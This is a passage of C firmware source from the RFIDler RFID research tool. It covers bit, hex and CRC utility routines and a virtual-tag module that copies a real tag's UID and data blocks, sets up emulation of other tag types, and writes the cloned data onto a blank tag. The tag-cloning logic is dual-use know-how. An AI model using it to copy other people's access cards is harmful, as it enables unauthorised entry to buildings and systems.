out += *(bin++) << ((length--) - 1);
return out;
}
// convert integer to binarray, limited to specified number of LSB
void inttobinarray(BYTE *target, unsigned int source, unsigned int bits)
{
while(bits--)
{
*(target++)= (source >> bits) & 0x01;
}
}
// convert ulong to binarray, limited to specified number of LSB
void ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits)
{
while(bits--)
{
*(target++)= (source >> bits) & 0x01;
}
}
// convert ulong to binarray, limited to specified number of LSB
void ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits)
{
while(bits--)
{
*(target++)= (source >> bits) & 0x01;
}
}
BOOL ulongtohex(BYTE *target, unsigned long source)
{
BYTE tmp[9];
sprintf(tmp, "%08lX", source);
memcpy(target, tmp, 8);
return TRUE;
}
BOOL ulonglongtohex(BYTE *target, unsigned long long source)
{
BYTE tmp[17];
sprintf(tmp, "%016llX", source);
memcpy(target, tmp, 16);
return TRUE;
}
// convert integer to binstring, limited to specified number of LSB
void inttobinstring(BYTE *target, unsigned int source, unsigned int bits)
{
inttobinarray(target, source, bits);
binarraytobinstring(target, target, bits);
}
// convert ulong to binstring, limited to specified number of LSB
void ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits)
{
ulongtobinarray(target, source, bits);
binarraytobinstring(target, target, bits);
}
// convert binary array to unsigned long long
unsigned long long binarraytoulonglong(BYTE *bin, BYTE length)
{
unsigned long long out= 0LL;
while(length)
out += *(bin++) << ((length--) - 1);
return out;
}
// convert binary array to unsigned long long
unsigned long binarraytoulong(BYTE *bin, BYTE length)
{
unsigned long out= 0LL;
while(length)
out += *(bin++) << ((length--) - 1);
return out;
}
// convert 2 character hex string to BYTE
BYTE hextobyte(BYTE *hex)
{
int ret= 0;
sscanf(hex, "%2X", &ret);
return (BYTE) ret;
}
// print readable (ascii) characters from HEX string
// mxlength specified in BYTEs, not HEX digits
void printhexreadable(BYTE *hex, BYTE maxlength)
{
BYTE x[2]= {'\0', '\0'};
while(*hex && maxlength--)
{
x[0]= hextobyte(hex);
if(x[0] < 0x20 || x[0] > 0x7e)
x[0]= '.';
UserMessage("%s", x);
hex += 2;
}
}
// convert 8 digit hex to unsigned long
unsigned long hextoulong(BYTE *hex)
{
unsigned long ret= 0L;
if(sscanf(hex, "%8X", &ret) != 1)
return 0L;
return ret;
}
// convert byte-reversed 8 digit hex to unsigned long
unsigned long hexreversetoulong(BYTE *hex)
{
unsigned long ret= 0L;
unsigned int x;
BYTE i;
if(strlen(hex) != 8)
return 0L;
for(i= 0 ; i < 4 ; ++i)
{
if(sscanf(hex, "%2X", &x) != 1)
return 0L;
ret += ((unsigned long) x) << i * 8;
hex += 2;
}
return ret;
}
// convert hex to unsigned long long
unsigned long long hextoulonglong(BYTE *hex)
{
BYTE tmp[64];
if(hextobinarray(tmp, hex) != 64)
return 0L;
return binarraytoulonglong(tmp, 64);
}
// convert byte-reversed 12 digit hex to unsigned long
unsigned long long hexreversetoulonglong(BYTE *hex)
{
unsigned long long ret= 0LL;
BYTE tmp[9];
// this may seem an odd way to do it, but weird compiler issues were
// breaking direct conversion!
tmp[8]= '\0';
memset(tmp + 4, '0', 4);
memcpy(tmp, hex + 8, 4);
ret= hexreversetoulong(tmp);
ret <<= 32;
memcpy(tmp, hex, 8);
ret += hexreversetoulong(tmp);
return ret;
}
// fixme - this is effectively replaced by the above!
// library sscanf llx is broken, so we have to do it ourselves...
char hextolonglong(unsigned long long *out, unsigned char *hex)
{
char i, c= 0;
static unsigned int x;
unsigned char tmp[3]= {0,0,0};
*out= 0LL;
if(strlen(hex) % 2)
return 0;
// deal with section of 224 bit IDs
if(strlen(hex) > 16)
i= 14;
else
i= strlen(hex) - 2;
for( ; i >= 0 ; i -= 2)
{
tmp[0]= hex[i];
tmp[1]= hex[i+1];
if (!sscanf(tmp,"%X",&x))
return 0LL;
*out += (unsigned long long) x << c;
c += 8;
}
return 1;
}
// convert hex to sequence of 0/1 bit values
// returns number of bits converted
unsigned int hextobinarray(unsigned char *target, unsigned char *source)
{
unsigned int length, i, count= 0;
unsigned char x;
length= strlen(source);
// process 4 bits (1 hex digit) at a time
while(length--)
{
x= *(source++);
// capitalize
if (x >= 'a' && x <= 'f')
x -= 32;
// convert to numeric value
if (x >= '0' && x <= '9')
x -= '0';
else if (x >= 'A' && x <= 'F')
x -= 'A' - 10;
else
return 0;
// output
for(i= 0 ; i < 4 ; ++i, ++count)
*(target++)= (x >> (3 - i)) & 1;
}
return count;
}
// convert hex to human readable binary string
unsigned int hextobinstring(unsigned char *target, unsigned char *source)
{
unsigned int length;
if(!(length= hextobinarray(target, source)))
return 0;
binarraytobinstring(target, target, length);
return length;
}
// convert binary array of 0x00/0x01 values to hex (safe to do in place as target will always be shorter than source)
// return number of bits converted
unsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length)
{
unsigned char i, x, shift;
unsigned int j= length;
// disabled this test as we get a lot of funny sized binary strings we need to convert!
//if(j % 4)
// return 0;
if(length <= 4)
shift= length;
else
shift= 4;
while(j)
{
for(i= x= 0 ; i < 4 ; ++i, --j)
x += (source[i] << ((shift - 1) - i));
sprintf(target,"%X", x);
++target;
source += i;
}
return length;
}
// print binary array as hex
void hexprintbinarray(BYTE *bin, unsigned int length)
{
while(length--)
UserMessageNum("%02lx", *(bin++));
}
// convert binary string of '0'/'1' values to hex (safe to do in place as target will always be shorter than source)
// return number of bits converted
unsigned int binstringtohex(unsigned char *target, unsigned char *source)
{
unsigned char i, x, shift;
unsigned int j, length;
length= j= strlen(source);
if(length <= 4)
shift= length;
else
shift= 4;
// disabled this check as we need to convert odd binary string lengths
//if(j % 4)
// return 0;
while(j)
{
for(i= x= 0 ; i < 4 && source[i] != '\0'; ++i, --j)
x += ((source[i] - '0') << ((shift - 1) - i));
sprintf(target,"%X", x);
++target;
source += i;
}
return length;
}
// convert human readable bin string to unsigned char
void binstringtobyte(BYTE *target, unsigned char *source, BYTE length)
{
BYTE shift= 0;
*target= 0;
while(length)
{
*target += (source[length - 1] - '0') << shift;
length--;
shift++;
}
}
// get a specified bit
unsigned char getbit(unsigned char byte, unsigned char bit)
{
return (byte >> bit) & 0x01;
}
// convert array of BYTES to readable hex
void bytestohex(unsigned char *target, unsigned char *source, unsigned int length)
{
while(length--)
sprintf(target++,"%X",source++);
}
// convert human readable binary to binary array
unsigned int binstringtobinarray(BYTE *target, BYTE *source)
{
unsigned int length, i;
length= strlen(source);
for(i= 0 ; i < length ; ++i)
{
if(*source != '0' && *source != '1')
return 0;
*(target++)= *(source++) - '0';
}
return length;
}
// convert binary array to human readable binary
void binarraytobinstring(BYTE *target, BYTE *source, unsigned int length)
{
unsigned int i;
for(i= 0 ; i < length ; ++i)
*(target++)= *(source++) + '0';
*target= '\0';
}
// invert binary array
void invertbinarray(BYTE *target, BYTE *source, unsigned int length)
{
while(length--)
*(target++)= !*(source++);
}
// invert binary string
void invertbinstring(BYTE *target, BYTE *source)
{
unsigned int length;
length= strlen(source);
while(length--)
*(target++)= (!(*(source++) - '0') + '0');
}
// print a hex value as binary
void printhexasbin(unsigned char *hex)
{
unsigned int length;
length= hextobinarray(TmpBits,hex);
printbinarray(TmpBits, length);
}
// print a binstring value as hex
void printbinstringashex(unsigned char *bin)
{
if(binstringtohex(TmpBits, bin))
UserMessage("%s\r\n", TmpBits);
}
void printbinarray(unsigned char *bin, unsigned int length)
{
while(length--)
{
// normally we are printing 0/1, but if we're looking at anything else we want a space between values
if(*bin > 1)
UserMessageNum("%d ",*bin);
else
UserMessageNum("%d",*bin);
bin++;
}
UserMessage("%s", "\r\n");
}
// convert sequence of 0/1 bit values to manchester encoded
// we use a temp buffer so it's safe to encode in-place
unsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length)
{
unsigned char tmp[TMP_LARGE_BUFF_LEN];
unsigned int i= 0;
while(length--)
{
if(*(source++))
{
tmp[i++]= 0x01;
tmp[i++]= 0x00;
}
else
{
tmp[i++]= 0x00;
tmp[i++]= 0x01;
}
}
memcpy(target, tmp, i);
return i;
}
// convert manchester encoded 01/10 to 1/0
// target is smaller than source, so safe to do in place
// length is source buffer length
// return size of target buffer
unsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length)
{
unsigned int i= 0;
while(i < length)
{
// check for bit error
if(*source == *(source+1))
return i / 2;
*(target++)= *(source);
source += 2;
i += 2;
}
return i / 2;
}
char * strip_newline(char *buff)
{
int i= 0;
while(buff[i] != '\0')
{
if (buff[i] == '\r' || buff[i] == '\n')
{
buff[i]= '\0';
return buff;
}
++i;
}
return buff;
}
// command ACK when in API mode
// '.' for command complete
// '+' for data to follow
BOOL command_ack(BOOL data)
{
if(Interface == INTERFACE_API)
{
if(data)
UserMessage("%s", "+");
else
UserMessage("%s", ".");
}
else
{
if(data)
UserMessage("%s", "\r\n");
else
UserMessage("%s", "\r\nOK\r\n\r\n");
}
return TRUE;
}
// command NACK when in API mode
// note we still return TRUE to flag CLI that command was recognised
BOOL command_nack(BYTE *reason)
{
if(Interface == INTERFACE_API)
UserMessage("!%s\r\n", reason);
else
UserMessage("\r\n%s\r\n\r\n", reason);
return TRUE;
}
// command UNKNOWN when in API mode
BOOL command_unknown(void)
{
if(Interface == INTERFACE_API)
UserMessage("%s", "?");
return FALSE;
}
// convert to upper and strip trailing spaces
void ToUpper(char *string)
{
int i;
for (i = 0; i < strlen(string); ++i)
if (string[i] >= 'a' && string[i] <= 'z')
string[i] -= 'a' - 'A';
while(string[strlen(string) - 1] == ' ')
string[strlen(string) - 1]= '\0';
}
// reverse a string in place
void string_reverse(unsigned char *string, unsigned int length)
{
unsigned int i;
unsigned char x, *p;
i= length / 2;
p= string;
while(length > i)
{
x= string[length - 1];
string[length - 1]= *p;
*p= x;
++p;
--length;
}
}
// bytes swap a string in place
BOOL string_byteswap(unsigned char *string, unsigned int length)
{
unsigned char x;
if(length % 2)
return FALSE;
while(length)
{
x= *string;
*string= *(string + 1);
*(string + 1)= x;
length -= 2;
string += 2;
}
return TRUE;
}
// return parity bit required to match type
BYTE parity(unsigned char *bits, BYTE type, unsigned int length)
{
unsigned int x;
for(x= 0 ; length > 0 ; --length)
x += bits[length - 1];
x %= 2;
return x ^ type;
}
// wait for a pulse on the reader coil and return it's length
// note this will return a partial pulse if it's already started
// return pulse length in ticks
unsigned long get_reader_pulse(unsigned int timeout_us)
{
// wait for start of pulse
GetTimer_us(RESET);
while(!READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return 0;
// measure pulse length
GetTimer_us(RESET);
while(READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return 0;
return GetTimer_ticks(NO_RESET);
}
// wait for a gap on the reader coil and return it's length
// note this will return a partial gap if it's already started
// return pulse length in ticks
unsigned long get_reader_gap(unsigned int timeout_us)
{
// wait for start of gap
GetTimer_us(RESET);
while(READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return 0;
// measure gap length
GetTimer_us(RESET);
while(!READER_DATA)
if(timeout_us)
if (GetTimer_us(NO_RESET) > timeout_us)
return 0;
return GetTimer_ticks(NO_RESET);
}
// ccitt standard crc
unsigned int crc_ccitt(BYTE *data, unsigned int length)
{
return crc16(0, data, length, CRC16_MASK_CCITT);
}
// 16 bit generic crc
unsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask)
{
unsigned int i, j, c;
for(i= 0 ; i < length ; ++i)
{
c= (unsigned int) data[i];
c <<= 8;
for(j= 0 ; j < 8 ; ++j)
{
if ((crc ^ c) & 0x8000)
crc= (crc << 1) ^ mask;
else
crc <<= 1;
c <<= 1;
}
crc &= 0xffff;
}
return crc;
}
void space_indent(BYTE count)
{
while(count)
{
UserMessage("%s", " ");
--count;
}
}
// some simple XML helper routines
void xml_version(void)
{
UserMessage("%s", "");
}
void xml_header(BYTE *item, BYTE *indent)
{
UserMessage("%s", "\r\n");
space_indent(*indent);
UserMessage("<%s>", item);
(*indent) += 2;
}
void xml_footer(BYTE *item, BYTE *indent, BOOL newline)
{
if(newline)
UserMessage("%s", "\r\n");
if(*indent > 1)
(*indent) -= 2;
else
*indent= 0;
if(newline)
space_indent(*indent);
UserMessage("%s>", item);
}
void xml_indented_text(BYTE *data, BYTE indent)
{
UserMessage("%s", "\r\n");
space_indent(indent);
UserMessage("%s", data);
}
void xml_item_text(BYTE *item, BYTE *data, BYTE *indent)
{
xml_header(item, indent);
UserMessage("%s", data);
xml_footer(item, indent, NO_NEWLINE);
}
void xml_item_decimal(BYTE *item, BYTE num, BYTE *indent)
{
BYTE tmp[4];
xml_header(item, indent);
sprintf(tmp, "%d", num);
UserMessage("%s", tmp);
xml_footer(item, indent, NO_NEWLINE);
}
void xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent)
{
unsigned int i;
for(i= 0 ; i < length ; ++i)
{
if(!(i % 32))
{
UserMessage("%s", "\r\n");
space_indent(indent);
}
UserMessageNum("%02lx", data[i] & mask);
}
}
void xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent)
{
xml_header(item, indent);
xml_indented_array(data, mask, length, *indent);
xml_footer(item, indent, NEWLINE);
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/vtag.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2017 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "vtag.h"
#include "rfidler.h"
#include "util.h"
#include "tags.h"
#include "write.h"
#include "uid.h"
#include "comms.h"
#include "config.h"
void vtag_wipe(void)
{
memset(&RFIDlerVTag, 0x00, sizeof(RFIDlerVTag));
}
/// show contents of vtag
void vtag_dump(void)
{
BYTE tmp[MAXBLOCKSIZE + 1], interpret;
unsigned int i, j, k;
UserMessage(" Type: %s", (BYTE *) TagTypes[RFIDlerVTag.TagType]);
UserMessage("\r\n Emulating: %s", (BYTE *) TagTypes[RFIDlerVTag.EmulatedTagType]);
UserMessage("\r\n Raw UID: %s", RFIDlerVTag.UID);
// show interpreted UID
if(RFIDlerVTag.EmulatedTagType == TAG_TYPE_NONE)
interpret= RFIDlerVTag.TagType;
else
interpret= RFIDlerVTag.EmulatedTagType;
UserMessage("\r\n UID: %s", interpret_uid(tmp, RFIDlerVTag.UID, interpret) ? tmp : (BYTE *) "invalid!");
// show config block if present
if(config_block_number(&i, RFIDlerVTag.TagType))
{
UserMessage("%s","\r\n\r\n");
j= 0;
pw_block_number(&j, RFIDlerVTag.TagType);
k= 0;
info_block_number(&k, RFIDlerVTag.TagType);
config_block_show(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * i)], &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * j)], &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * k)], RFIDlerVTag.TagType);
}
if(RFIDlerVTag.DataBlocks == 0)
{
UserMessage("%s", "\r\n\r\n");
return;
}
UserMessage("%s", "\r\n Data:");
tmp[HEXDIGITS(RFIDlerVTag.BlockSize)]= '\0';
for(i= 0 ; i < RFIDlerVTag.DataBlocks ; ++i)
{
memcpy(tmp, &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * i)], HEXDIGITS(RFIDlerVTag.BlockSize));
if(tmp[0])
{
UserMessageNum("\r\n %d: ", i);
UserMessage("%s", tmp);
}
}
UserMessage("%s", "\r\n\r\n");
}
BOOL vtag_set_tag_type(BYTE *tagtype)
{
BYTE tag;
if(!(tag= tag_get_type(tagtype)))
return FALSE;
vtag_set_tag_from_type(tag);
return TRUE;
}
void vtag_set_tag_from_type(BYTE tag)
{
vtag_wipe();
RFIDlerVTag.TagType= tag;
RFIDlerVTag.BlockSize= tag_get_blocksize(tag);
RFIDlerVTag.DataBlocks= tag_get_datablocks(tag);
}
// create a VTAG from UID
BOOL vtag_create_from_uid(BYTE *target_tagtype, BYTE source_tagtype, BYTE *uid)
{
BYTE tag;
unsigned int config_block_no, user_block_no;
// set target tag type
if (strlen(target_tagtype) == 0)
{
if(RFIDlerVTag.TagType == TAG_TYPE_NONE)
tag= source_tagtype;
else
tag= RFIDlerVTag.TagType;
}
else
if(!(tag= tag_get_type(target_tagtype)))
return FALSE;
// if tag & vtag are the same, just copy
if(RFIDlerConfig.TagType == tag)
{
vtag_set_tag_from_type(tag);
RFIDlerVTag.EmulatedTagType= TAG_TYPE_NONE;
}
else
{
// otherwise, set up emulation
// check target is capable of emulating source
if(config_block(TmpBits, source_tagtype, tag))
{
vtag_set_tag_from_type(tag);
RFIDlerVTag.EmulatedTagType= source_tagtype;
}
else
return FALSE;
}
// create raw UID
if(!tag_uid_to_hex(RFIDlerVTag.UID, uid, source_tagtype))
return FALSE;
// get config & user data block numbers if required
if(config_block_number(&config_block_no, tag))
{
// get & store config block
if (!config_block(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * config_block_no)], source_tagtype, tag))
return FALSE;
// copy raw hex UID to data blocks
if(config_user_block(&user_block_no, tag))
tag_raw_uid_to_data(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * user_block_no)], RFIDlerVTag.UID, RFIDlerVTag.TagType);
}
return TRUE;
}
// copy real tag to vtag or set up emulation
BOOL vtag_copy_from_tag(BYTE *tagtype, BYTE *pass)
{
BYTE tmp[MAXUID + 1], tag, copy= FALSE, i;
unsigned int config_block_no, user_block_no;
// set target tag type
if (strlen(tagtype) == 0)
{
if(RFIDlerVTag.TagType == TAG_TYPE_NONE)
tag= RFIDlerConfig.TagType;
else
tag= RFIDlerVTag.TagType;
}
else
if(!(tag= tag_get_type(tagtype)))
return FALSE;
// check we've got a tag to copy
if(!get_tag_uid(tmp))
return FALSE;
// set vtag to desired type
vtag_set_tag_from_type(tag);
// if tag & vtag are the same, just copy
if(RFIDlerConfig.TagType == tag)
{
RFIDlerVTag.EmulatedTagType= TAG_TYPE_NONE;
// auth
if(!tag_login(0, TmpBits, pass))
tag_auth(0, TmpBits, pass);
// copy UID
strcpy(RFIDlerVTag.UID, tmp);
// if no data to copy, we're done.
if(RFIDlerVTag.DataBlocks == 0)
return TRUE;
// copy data blocks
for(i= 0 ; i < RFIDlerVTag.DataBlocks ; ++i)
{
if (!read_tag(RFIDlerVTag.Data + HEXDIGITS(i * RFIDlerVTag.BlockSize), i, i))
UserMessageNum("\r\n%d: (fail)\r\n", i);
else
copy= TRUE;
}
return copy;
}
// otherwise, set up emulation
RFIDlerVTag.EmulatedTagType= RFIDlerConfig.TagType;
strcpy(RFIDlerVTag.UID, tmp);
// get config & user data block numbers
if(!config_block_number(&config_block_no, tag) || !config_user_block(&user_block_no, tag))
return FALSE;
// get & store config block
if (!config_block(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * config_block_no)], RFIDlerConfig.TagType, tag))
return FALSE;
// copy raw hex UID to data blocks
tag_raw_uid_to_data(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * user_block_no)], RFIDlerVTag.UID, RFIDlerVTag.TagType);
return TRUE;
}
// convert current vtag to new type
BOOL vtag_convert(BYTE *tagtype)
{
BYTE tmp[MAXUID + 1], newtag;
if(RFIDlerVTag.TagType == TAG_TYPE_NONE)
return FALSE;
// get current interpreted uid
if(RFIDlerVTag.EmulatedTagType == TAG_TYPE_NONE)
newtag= RFIDlerVTag.TagType;
else
newtag= RFIDlerVTag.EmulatedTagType;
// check UID is valid
if(!interpret_uid(tmp, RFIDlerVTag.UID, newtag))
return FALSE;
// create new VTAG from UID
return vtag_create_from_uid(tagtype, newtag, tmp);
}
BOOL vtag_write_to_tag(BYTE *pass)
{
unsigned int block, config_block_no;
BYTE tmp[MAXBLOCKSIZE + 1];
BOOL auth= FALSE;
StoredConfig tmptag;
// preserve tag type
memcpy(&tmptag, &RFIDlerConfig, sizeof(RFIDlerConfig));
// set real tag to vtag type if not already the same
if(RFIDlerConfig.TagType != RFIDlerVTag.TagType)
if(!tag_set(RFIDlerVTag.TagType))
{
memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));
return FALSE;
}
// reset target tag, but don't care if we get UID as it may not be in a valid mode
get_tag_uid(tmp);
// re-auth
if(!(auth = tag_login(block, tmp, pass)))
auth = tag_auth(block, tmp, pass);
// initialise target in default mode
// get config block number
if(!config_block_number(&config_block_no, RFIDlerConfig.TagType))
return FALSE;
// don't write default config block for HiTag2
if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)
{
// get default config block data
tmp[HEXDIGITS(RFIDlerVTag.BlockSize)]= '\0';
if (!config_block(tmp, RFIDlerConfig.TagType, RFIDlerConfig.TagType))
{
memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));
return FALSE;
}
// write default config
if(!write_tag(config_block_no, tmp, VERIFY))
{
memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));
return FALSE;
}
// reset tag again
get_tag_uid(tmp);
}
// write all VTAG blocks with valid data in them
// but avoid writing config block until last as tag may stop responding
tmp[HEXDIGITS(RFIDlerVTag.BlockSize)]= '\0';
for(block= 0 ; block < RFIDlerVTag.DataBlocks ; ++block)
if(block != config_block_no && RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * block)] &&
(block != 0 || RFIDlerConfig.TagType != TAG_TYPE_HITAG2))
{
// don't reauth for HiTag2
if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)
{
// try to login/auth in case target tag requires it
// don't care if we fail
if(!(auth= tag_login(block, tmp, pass)))
auth= tag_auth(block, tmp, pass);
}
memcpy(tmp, &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * block)], HEXDIGITS(RFIDlerVTag.BlockSize));
UserMessageNum("\r\n%d: ", block);
UserMessage("%s", tmp);
// failure allowed as we may be trying to write locked blocks
if(!write_tag(block, tmp, VERIFY))
{
UserMessage("%s", " Failed!");
if(!auth)
UserMessage("%s", " (Auth/Login)");
}
}
// write config block (no verify as some tags stop talking after config change)
// don't reauth for HiTag2
if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)
{
if(!tag_login(block, tmp, pass))
tag_auth(block, tmp, pass);
}
tmp[HEXDIGITS(RFIDlerVTag.BlockSize)]= '\0';
memcpy(tmp, &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * config_block_no)], HEXDIGITS(RFIDlerVTag.BlockSize));
UserMessageNum("\r\n\r\n%d: ", config_block_no);
UserMessage("%s", tmp);
if(!write_tag(config_block_no, tmp, NO_VERIFY))
{
memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));
stop_HW_clock();
return FALSE;
}
memcpy(&RFIDlerConfig, &tmptag, sizeof(RFIDlerConfig));
stop_HW_clock();
return TRUE;
}
BOOL vtag_write_blocks(unsigned int startblock, BYTE *data)
{
unsigned int user_block_no;
// check data doesn't overrun emulation tag capacity
if(strlen(data) * 4 > (RFIDlerVTag.DataBlocks - startblock) * RFIDlerVTag.BlockSize || startblock >= RFIDlerVTag.DataBlocks)
return FALSE;
// check data doesn't overrun emulated tag size
if(RFIDlerVTag.EmulatedTagType != TAG_TYPE_NONE && config_user_block(&user_block_no, RFIDlerVTag.TagType))
if((((strlen(data) * 4) / RFIDlerVTag.BlockSize) + startblock) - 1 > tag_get_databits(RFIDlerVTag.EmulatedTagType) / RFIDlerVTag.BlockSize)
return FALSE;
memcpy(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * startblock)], data, strlen(data));
// copy raw hex back to UID if emulating
if(RFIDlerVTag.EmulatedTagType != TAG_TYPE_NONE && config_user_block(&user_block_no, RFIDlerVTag.TagType))
memcpy(RFIDlerVTag.UID, &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * user_block_no)], HEXDIGITS(RFIDlerVTag.BlockSize * (RFIDlerVTag.DataBlocks - user_block_no)));
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/wiegand.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
